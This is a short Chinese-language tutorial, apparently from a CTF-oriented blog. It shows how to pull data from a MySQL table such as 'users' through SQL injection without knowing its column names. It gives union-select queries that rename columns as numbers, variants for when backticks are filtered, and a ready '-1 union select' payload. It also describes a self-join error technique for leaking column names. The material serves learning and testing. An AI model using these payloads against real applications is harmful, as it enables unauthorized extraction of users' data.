0x00 前言
上一篇文章里,我们总结了一些如何在information_schema
中查表的方法,但是以上方法是无法查到列名的。所以,我们在本文中,就来总结一个在被过滤的情况下和不知道列名(知道了表名)的情况下进行数据的查询。
0x01 无列名注入
表的结构
select * from users;
首先把表中字段换成数字
select 1,2,3,4,5,6,7,8 union select * from users;
然后查询某一列
select group_concat(`2`) from (select 1,2,3,4,5,6,7,8 union select * from users)a
查询多列
select group_concat(`2`,0x2d,`3`) from (select 1,2,3,4,5,6,7,8 union select * from users)a
反引号被过滤的情况下
select group_concat(fn,0x2d,ln) from (select 1,2 as fn,3 as ln,4,5,6,7,8 union select * from users)a
select group_concat(a.2,0x2d,a.3) from (select 1,2,3,4,5,6,7,8 union select * from users)a
payload
-1 union select 1, group_concat(concat(`2`,0x2d,`3`)) from (select 1,2,3,4,5,6,7,8 union select * from users)a;
可以看到,以上查询并没有用到具体的列名,就能完成注入
0x02 使用join基于报错爆列名
原理
先将表自身连接,使其有相同字段,再将其当作一个表来查询(即from)并取一个别名,因为一个别名表中有相同字段,所以会报错。默认是报错出第一个重复的字段,但是我们可以使用using,来排除已知的字段,一步步把列名全部爆出。
using(id) 相当于a.id = b.id , 这样子连接后只会有一个id字段
爆出第一个列名
爆出下一个列名
可以看到,以上查询对列名的查询,也是从无到有,也算一种无列名查询了
0x0 参考
CTF|mysql之无列名注入 - 知乎 (zhihu.com)
[SQLi] Extracting data without knowing columns names – Redforce